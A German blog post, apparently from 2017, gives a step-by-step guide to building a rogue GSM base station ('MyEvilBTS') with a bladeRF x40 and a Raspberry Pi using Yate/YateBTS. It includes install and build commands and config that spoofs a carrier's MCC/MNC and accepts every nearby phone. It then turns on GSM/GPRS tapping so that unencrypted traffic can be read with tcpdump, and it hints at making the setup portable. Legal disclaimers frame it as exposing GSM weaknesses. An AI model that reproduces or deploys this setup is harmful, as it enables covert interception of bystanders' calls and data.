<html> <p><strong>Letzen Monat haben wir auf einer Tour durch die Onlineshops eine ganz besondere Hardware gefunden, den <a href=„https://www.nuand.com/blog/product/bladerf-x40/“>BladeRFx40</a>. Ein sehr günstiges USB 3.0 BTS “<b>Base Transceiver Station”</b> Modul das in Full-Duplex arbeitet, also gleichzeitig senden und empfangen kann. </strong></p><p><em><strong>Disclaim:</strong> Wir schreiben diesen Beitrag <strong>nicht</strong> damit Script-Kiddies und selbsternannte “Experten” das Gesetz brechen können! Wir möchten lediglich die Angriffsfläche des GSM-Protokoll aufzeigen und zur Verbesserung der Sicherheit beitragen. Wer ein solches Setup im freien Raum betreibt macht sich strafbar nach “<strong>§202A StGB – Ausspähen von Daten</strong>“!</em></p>
<h2>Benötigte Hardware</h2> <p>Um eine funktionierende BTS zu erstellen brauchen wir folgende Hardware:</p> <ul><li>Ein <a href=„https://www.nuand.com/blog/product/bladerf-x40/“>bladeRF x40</a></li> <li>Zwei <a href=„https://www.sparkfun.com/products/675“>Quad-band Duck Antennen SMA</a></li> <li>Einen Raspberry Pi 3 (Model 2 war in den Tests zu langsam)</li> <li>Micro SD Karte für den Raspberry (min. 16GB)</li> </ul><h2/> <h2>Software</h2> <p>Wir beginnen mit der Installation des neusten <a href=„https://www.raspberrypi.org/downloads/raspbian/“>Raspbian</a> auf die SD-Karte. Benutzt das “little” Image da wir keine grafische Oberfläche wollen/ brauchen.  Danach booten wir den Raspberry und konfigurieren alles soweit bis wir per SSH auf den Raspberry zugreifen können.</p> <p>Als nächstes installieren wir die benötigten Pakete.</p> <pre>sudo apt-get install git apache2 php5 bladerf libbladerf-dev libbladerf0 automake</pre> <p>Das BladeRF wird einfach an einen der USB-Port des Raspberry gesteckt. Jetzt sollte das Blade ansprechbar sein. Der Befehl <strong>dmesg</strong> sollte eine ähnliche Ausgabe wie diese erzeugen:</p> <pre>[ 2332.071675] usb 1-1.3: New USB device found, idVendor=1d50, idProduct=6066 [ 2332.071694] usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 2332.071707] usb 1-1.3: Product: bladeRF [ 2332.071720] usb 1-1.3: Manufacturer: Nuand [ 2332.071732] usb 1-1.3: SerialNumber: b4ef330e19b718f752759b4c14020742 </pre> <p>Nun können wir die BladeRF-CLI starten.</p> <pre>pi@raspberrypi:~ $ sudo bladeRF-cli -i bladeRF> version
bladeRF-cli version: 0.11.1-git libbladeRF version: 0.16.2-git
Firmware version: 1.6.1-git-053fb13-buildomatic FPGA version: 0.1.2
bladeRF> </pre> <p><em>WICHTIG: Stellt sicher das ihr die richtige Firmware-Version des FPGA habt. Andere Versionen werden eventuell nicht funktionieren.</em></p> <p><a href=„https://www.evilsocket.net/images/bladerf_firmware_and_fpga.tar.gz“>Hier könnt ihr die richtige Version Herunterladen.</a></p> <p>Jetzt installieren wir Yate und YateBTS, zwei open source Software-Projekte die es uns ermöglichen einen BTS zu erstellen. Nun kann man lange experimentieren welche Firmware-Version zu welcher Software-Version des BladeRF passt oder man läd sich einfach alles aus dem Evilsocket Github Repo:</p> <pre>git clone https://github.com/evilsocket/evilbts.git cd evilbts</pre> <p>Wir starten den Build beider Pakete mit:</p> <pre>cd yate ./autogen.sh ./configure –prefix=/usr/local make -j4 sudo make install sudo ldconfig cd .. cd yatebts ./autogen.sh ./configure –prefix=/usr/local make -j4 sudo make install sudo ldconfig</pre> <p>Das kann ein paar Minuten dauern. Danach ist alles nötige installiert.</p> <p>Als nächstes setzen wir einen Symlink für die NIB Web UI auf unser Apache “www” Verzeichnis.</p> <pre>cd /var/www/html/ sudo ln -s /usr/local/share/yate/nib_web nib</pre> <p>Und geben Schreibrechte auf die Konfigurations-Dateien.</p> <pre>sudo chmod -R a+w /usr/local/etc/yate</pre> <p>Ab jetzt können wir unseren BTS über das Webinterface erreichen.</p> <pre>http://ip-des-raspberry/nib </pre>
<h2>Konfiguration des BTS</h2> <p>Öffne die Datei <strong>/usr/local/etc/yate/ybts.conf</strong> mit einem Editor wie “vim” oder “nano” und update die folgenden Werte:</p> <pre>Radio.Band=900 Radio.C0=1000 Identity.MCC=YOUR_COUNTRY_MCC Identity.MNC=YOUR_OPERATOR_MNC Identity.ShortName=MyEvilBTS Radio.PowerManager.MaxAttenDB=35 Radio.PowerManager.MinAttenDB=35</pre> <p>Die genauen Frequenzbereiche sind z.B. <a href=„http://www.mcc-mnc.com/“>HIER</a> aber auch an vielen anderen Stellen im Internet zu finden.</p> <p>Jetzt editieren wir noch die Datei <strong>/usr/local/etc/yate/subscribers.conf</strong></p> <pre>country_code=YOUR_CONTRY_CODE regexp=.*</pre> <p><em><strong>ACHTUNG!!</strong>: Den Parameter “regexp” auf dem Wert .* zu belassen bedeutet ihr wollt das sich <strong>JEDES</strong> GSM-Telefon in der Nähe auf eure BTS verbindet! Natürlich ist dies <strong>nur in Testumgebungen</strong> wir unserer erlaubt!<br/></em></p>
<p>In der NIB Web UI sollte es nun so ähnlich aussehen:</p> <figure id=„attachment_1105“ class=„wp-caption alignnone“><img class=„wp-image-1105 size-full“ src=„https://antisecurity.de/wp-content/uploads/2017/01/nibui-1.png“ width=„1753“ height=„1240“ srcset=„https://antisecurity.de/wp-content/uploads/2017/01/nibui-1.png 1753w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-1-300x212.png 300w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-1-768x543.png 768w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-1-1024x724.png 1024w“ sizes=„(max-width: 1753px) 100vw, 1753px“/><figcaption class=„wp-caption-text“>Quelle: Evilsocket</figcaption></figure> <h2>Aktivieren des GSM-Tapping</h2> <p>Im Pannel “Tapping” können wir beide Protokolle, GSM und GPRS, aktivieren. Im Grunde werden nun alle GSM-Pakete an des Loopback-Interface “gebounced”. Da wir noch keine Verschlüsselung konfiguriert haben können wir mit einem “tcpdump” auf dem Loopback Interface allen Verkehr <strong>Unverschlüsselt </strong>mitlesen.</p> <figure id=„attachment_1106“ class=„wp-caption aligncenter“><img class=„wp-image-1106 size-full“ src=„https://antisecurity.de/wp-content/uploads/2017/01/nibui-2.png“ width=„1756“ height=„939“ srcset=„https://antisecurity.de/wp-content/uploads/2017/01/nibui-2.png 1756w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-2-300x160.png 300w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-2-768x411.png 768w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-2-1024x548.png 1024w“ sizes=„(max-width: 1756px) 100vw, 1756px“/><figcaption class=„wp-caption-text“>Quelle: Evilsocket</figcaption></figure> <h2>Start</h2> <p>Endlich können wir unseren neuen BTS (mit dem BladeRF angesteckt) starten!</p> <pre>sudo yate -s</pre> <p>Wenn ihr alles richtig gemacht habt sollte eine ähnliche Ausgabe wie diese erscheinen.</p> <pre>Starting MBTS… Yate engine is initialized and starting up on raspberrypi RTNETLINK answers: File exists MBTS ready</pre> <p>Die LED an der Front des BladeRF sollte blinken.</p> <h2/> <h2>Testen</h2> <figure id=„attachment_1107“ class=„wp-caption alignleft“><img class=„wp-image-1107“ src=„https://antisecurity.de/wp-content/uploads/2017/01/gsm-1.jpeg“ width=„268“ height=„546“ srcset=„https://antisecurity.de/wp-content/uploads/2017/01/gsm-1.jpeg 686w, https://antisecurity.de/wp-content/uploads/2017/01/gsm-1-147x300.jpeg 147w, https://antisecurity.de/wp-content/uploads/2017/01/gsm-1-503x1024.jpeg 503w“ sizes=„(max-width: 268px) 100vw, 268px“/><figcaption class=„wp-caption-text“>Quelle: Evilsocket</figcaption></figure><p>Jetzt werden GSM-Geräte in der Nähe versuchen sich zu unserem BTS zu verbinden. Das liegt an einer Design-Schwäche im GSM-Protokoll.</p> <ul><li>Wir können MCC, MNC und LAC setzen wie wir möchten und so legitime GSM-BTS in der Nähe spoofen.</li> <li>Jedes Gerät sucht nach einem Signal seines Betreibers und wird sich mit dem stärksten verbinden – Ratet welches Signal das stärkste ist? Richtig, unseres! 🙂</li> </ul><p>Dieses Bild wurde auf einem Samsung Galaxy S6 (<a href=„https://play.google.com/store/apps/details?id=com.wilysis.cellinfolite“>Network Cell Info Lite App</a>) aufgenommen welches sich automatisch nach 3 Minuten zu unserem BTS verbunden hat.</p> <p>Ab jetzt steht es uns frei zu tun was wir wollen. Wir können als “Proxy” für einen legitiemen SMC im Netzwerk agieren (mit einem GSM/4G Dongle). Wir könnten allen nicht verschlüsselten GSM-Traffic jedes einzelnen Telefons aufzeichnen, auswerten und speichern.</p> <p>Oder wir könnten eine private GSM Station erstellen die von ihren Usern Kostenlos via SIP genutzt werden kann. Die Möglichkeiten sind vielfältig. Für weitere Konfiguration empfehlen wir das <a href=„http://wiki.yatebts.com/index.php/Main_Page“>YateWiki</a>.</p> <p>Nicht zu vergessen was möglich wäre wenn man den Raspberry und das Board mit einem Battery-Pack ausstattet und das ganze Setup mobil macht. 😉</p> <h2><strong>Fazit</strong></h2> <p>Wie wir zeigen wollen sind die Möglichkeiten der Manipulation und des Missbrauchs mit derart schlecht abgesicherten Protokollen sehr vielfältig. Warum der GSM-Standard bis heute nicht besser gesichert ist oder gar abgeschafft wurde kann nicht genau erklärt werden. Im gesamten GSM-Raum gibt es flächendeckend 3G/4G was ein Telefonieren über das Internet möglich macht.</p> <p><em><strong>Wir weisen nochmals auf die rechtliche Lage hin</strong>: Wer dieses Setup im freien Raum betreibt oder plant zu betreiben, macht sich strafbar nach “§202a StGB Ausspähen von Daten”.</em></p> </html>